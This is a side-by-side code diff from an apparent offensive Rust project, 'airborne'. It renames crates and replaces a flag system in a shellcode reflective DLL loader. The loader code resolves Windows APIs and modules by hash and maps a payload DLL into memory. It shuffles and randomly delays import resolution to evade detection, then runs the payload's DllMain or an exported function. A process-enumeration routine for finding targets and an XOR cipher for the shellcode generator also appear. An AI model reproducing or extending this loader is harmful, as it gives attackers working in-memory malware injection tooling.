return Err("failed to get first process entry".into()); panic!("failed to get first process entry");
} }
Ok(pe) pe
} }
pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Error>> { pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
let snapshot = snapshot()?; let snapshot = snapshot();
let mut pe = first_proc_entry(snapshot)?; let mut pe = first_proc_entry(snapshot);
loop { loop {
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _) let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
@ -43,15 +43,14 @@ pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Er
println!("[+] {}: {}", pid, proc_name); println!("[+] {}: {}", pid, proc_name);
CloseHandle(snapshot); CloseHandle(snapshot);
return Ok(Some(pid)); return Some(pid);
} } else if Process32Next(snapshot, &mut pe) == 0 {
if Process32Next(snapshot, &mut pe) == 0 {
break; break;
} }
} }
println!("[-] process with name {} not found", target_name);
CloseHandle(snapshot); CloseHandle(snapshot);
Ok(None) None
} }

View File

@ -1,5 +1,5 @@
[package] [package]
name = "poc-payload" name = "airborne-payload"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"

View File

@ -1,5 +1,5 @@
[package] [package]
name = "reflective-loader" name = "airborne-reflective_loader"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"
@ -7,7 +7,7 @@ edition = "2021"
crate-type = ["cdylib"] crate-type = ["cdylib"]
[dependencies] [dependencies]
airborne-common = { path = "../common" } airborne-utils = { path = "../utils" }
[dependencies.windows-sys] [dependencies.windows-sys]
version = "0.52.0" version = "0.52.0"

View File

@ -10,7 +10,6 @@ use core::{
slice::from_raw_parts, slice::from_raw_parts,
}; };
use airborne_common::Flags;
use windows_sys::{ use windows_sys::{
core::PWSTR, core::PWSTR,
Win32::{ Win32::{
@ -42,6 +41,10 @@ use windows_sys::{
use crate::memory::*; use crate::memory::*;
// TODO: replace with parameters from the shellcode generator
const SHUFFLE_IMPORTS: bool = true;
const DELAY_IMPORTS: bool = true;
const MAX_IMPORT_DELAY_MS: u64 = 2000; const MAX_IMPORT_DELAY_MS: u64 = 2000;
#[cfg(not(test))] #[cfg(not(test))]
@ -50,15 +53,36 @@ fn panic(_info: &core::panic::PanicInfo) -> ! {
loop {} loop {}
} }
// TODO: add to blog references
// https://research.ijcaonline.org/volume113/number8/pxc3901710.pdf
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
// TODO: replace plain returns with Result<T, E> and propagate errors until panic in the loader function
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
#[export_name = "_fltused"]
static _FLTUSED: i32 = 0;
#[no_mangle] #[no_mangle]
#[allow(non_snake_case, clippy::missing_safety_doc)] #[allow(non_snake_case)]
pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL { pub unsafe extern "system" fn _DllMainCRTStartup(
_module: HMODULE,
_call_reason: u32,
_reserved: *mut c_void,
) -> BOOL {
1 1
} }
//#[no_mangle]
//#[allow(non_snake_case)]
//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
// 1
//}
#[link_section = ".text"] #[link_section = ".text"]
#[no_mangle] #[no_mangle]
#[allow(clippy::missing_safety_doc)]
pub unsafe extern "system" fn loader( pub unsafe extern "system" fn loader(
payload_dll: *mut c_void, payload_dll: *mut c_void,
function_hash: u32, function_hash: u32,
@ -67,8 +91,6 @@ pub unsafe extern "system" fn loader(
_shellcode_bin: *mut c_void, _shellcode_bin: *mut c_void,
flags: u32, flags: u32,
) { ) {
let flags = airborne_common::parse_u32_flag(flags);
/* /*
1.) locate the required functions and modules from exports with their hashed names 1.) locate the required functions and modules from exports with their hashed names
*/ */
@ -99,8 +121,11 @@ pub unsafe extern "system" fn loader(
as *mut IMAGE_NT_HEADERS64; as *mut IMAGE_NT_HEADERS64;
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize; let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void; let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
let base_addr_ptr = let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs);
allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap();
if base_addr_ptr.is_null() {
return;
}
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr); copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
@ -138,7 +163,7 @@ pub unsafe extern "system" fn loader(
return; return;
} }
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs, &flags); patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs);
/* /*
5.) finalize the sections by setting protective permissions after mapping the image 5.) finalize the sections by setting protective permissions after mapping the image
@ -150,7 +175,15 @@ pub unsafe extern "system" fn loader(
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator 6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/ */
if flags.ufn { if flags == 0 {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
} else {
// UserFunction address = base address + RVA of user function // UserFunction address = base address + RVA of user function
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap(); let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
@ -159,14 +192,6 @@ pub unsafe extern "system" fn loader(
// execution with user data passed into the shellcode by the generator // execution with user data passed into the shellcode by the generator
UserFunction(user_data, user_data_len); UserFunction(user_data, user_data_len);
} else {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
} }
} }
@ -238,7 +263,7 @@ unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len); let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
// calculate the module hash and compare it // calculate the module hash and compare it
if module_hash == airborne_common::calc_hash(name_slice_buf) { if module_hash == airborne_utils::calc_hash(name_slice_buf) {
return Some((*table_entry_ptr).DllBase as _); return Some((*table_entry_ptr).DllBase as _);
} }
@ -293,7 +318,7 @@ unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Optio
let name_len = get_cstr_len(name_ptr as _); let name_len = get_cstr_len(name_ptr as _);
let name_slice = from_raw_parts(name_ptr as _, name_len); let name_slice = from_raw_parts(name_ptr as _, name_len);
if function_hash == airborne_common::calc_hash(name_slice) { if function_hash == airborne_utils::calc_hash(name_slice) {
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize); return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
} }
} }
@ -306,7 +331,7 @@ unsafe fn allocate_rw_memory(
preferred_base_ptr: *mut c_void, preferred_base_ptr: *mut c_void,
alloc_size: usize, alloc_size: usize,
far_procs: &FarProcs, far_procs: &FarProcs,
) -> Option<*mut c_void> { ) -> *mut c_void {
let mut base_addr_ptr = (far_procs.VirtualAlloc)( let mut base_addr_ptr = (far_procs.VirtualAlloc)(
preferred_base_ptr, preferred_base_ptr,
alloc_size, alloc_size,
@ -324,11 +349,7 @@ unsafe fn allocate_rw_memory(
); );
} }
if base_addr_ptr.is_null() { base_addr_ptr
return None;
}
Some(base_addr_ptr)
} }
#[link_section = ".text"] #[link_section = ".text"]
@ -417,8 +438,7 @@ unsafe fn patch_iat(
base_addr_ptr: *mut c_void, base_addr_ptr: *mut c_void,
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR, mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
far_procs: &FarProcs, far_procs: &FarProcs,
flags: &Flags, ) {
) -> BOOL {
/* /*
1.) shuffle Import Directory Table entries (image import descriptors) 1.) shuffle Import Directory Table entries (image import descriptors)
2.) delay the relocation of each import a random duration 2.) delay the relocation of each import a random duration
@ -436,13 +456,10 @@ unsafe fn patch_iat(
let id_ptr = import_descriptor_ptr; let id_ptr = import_descriptor_ptr;
if import_count > 1 && flags.shuffle { if import_count > 1 && SHUFFLE_IMPORTS {
// Fisher-Yates shuffle // Fisher-Yates shuffle
for i in 0..import_count - 1 { for i in 0..import_count - 1 {
let rn = match get_random(far_procs) { let rn = get_rn(far_procs).unwrap(); // TODO: replace with error propagation
Some(rn) => rn,
None => return 0,
};
let gap = import_count - i; let gap = import_count - i;
let j_u64 = i + (rn % gap); let j_u64 = i + (rn % gap);
@ -456,18 +473,17 @@ unsafe fn patch_iat(
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize); let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
if module_name_ptr.is_null() { if module_name_ptr.is_null() {
return 0; return;
} }
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _); let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
if module_handle == 0 { if module_handle == 0 {
return 0; return;
} }
if flags.delay { if DELAY_IMPORTS {
// skip delay if winapi call fails let rn = get_rn(far_procs).unwrap_or(0); // TODO: replace with error propagation
let rn = get_random(far_procs).unwrap_or(0);
let delay = rn % MAX_IMPORT_DELAY_MS; let delay = rn % MAX_IMPORT_DELAY_MS;
(far_procs.Sleep)(delay as _); (far_procs.Sleep)(delay as _);
} }
@ -501,10 +517,7 @@ unsafe fn patch_iat(
// mask out the high bits to get the ordinal value and patch the address of the function // mask out the high bits to get the ordinal value and patch the address of the function
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8; let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
(*thunk_ptr).u1.Function = (*thunk_ptr).u1.Function =
match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) { (far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _;
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
} else { } else {
// get the function name from the thunk and patch the address of the function // get the function name from the thunk and patch the address of the function
let thunk_data_ptr = (base_addr_ptr as usize let thunk_data_ptr = (base_addr_ptr as usize
@ -512,10 +525,7 @@ unsafe fn patch_iat(
as *mut IMAGE_IMPORT_BY_NAME; as *mut IMAGE_IMPORT_BY_NAME;
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr(); let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
(*thunk_ptr).u1.Function = (*thunk_ptr).u1.Function =
match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) { (far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _;
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
} }
thunk_ptr = thunk_ptr.add(1); thunk_ptr = thunk_ptr.add(1);
@ -525,8 +535,6 @@ unsafe fn patch_iat(
import_descriptor_ptr = import_descriptor_ptr =
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _; (import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
} }
1
} }
#[link_section = ".text"] #[link_section = ".text"]
@ -601,7 +609,7 @@ unsafe fn finalize_relocations(
} }
#[link_section = ".text"] #[link_section = ".text"]
unsafe fn get_random(far_procs: &FarProcs) -> Option<u64> { unsafe fn get_rn(far_procs: &FarProcs) -> Option<u64> {
let mut buffer = [0u8; 8]; let mut buffer = [0u8; 8];
let status = (far_procs.BCryptGenRandom)( let status = (far_procs.BCryptGenRandom)(
BCRYPT_RNG_ALG_HANDLE, BCRYPT_RNG_ALG_HANDLE,

View File

@ -1,5 +1,5 @@
[package] [package]
name = "airborne-common" name = "airborne-utils"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"

View File

@ -2,44 +2,8 @@
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator // gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
const DELAY_FLAG: u32 = 0b0001;
const SHUFFLE_FLAG: u32 = 0b0010;
const UFN_FLAG: u32 = 0b0100;
const HASH_KEY: usize = 5381; const HASH_KEY: usize = 5381;
pub struct Flags {
pub delay: bool,
pub shuffle: bool,
pub ufn: bool,
}
pub fn parse_u32_flag(flag: u32) -> Flags {
Flags {
delay: flag & DELAY_FLAG != 0,
shuffle: flag & SHUFFLE_FLAG != 0,
ufn: flag & UFN_FLAG != 0,
}
}
pub fn create_u32_flag(delay: bool, shuffle: bool, ufn: bool) -> u32 {
let mut flags = 0;
if delay {
flags |= DELAY_FLAG;
}
if shuffle {
flags |= SHUFFLE_FLAG;
}
if ufn {
flags |= UFN_FLAG;
}
flags
}
pub fn xor_cipher(data: &mut [u8], key: &[u8]) { pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
for (i, byte) in data.iter_mut().enumerate() { for (i, byte) in data.iter_mut().enumerate() {
*byte ^= key[i % key.len()]; *byte ^= key[i % key.len()];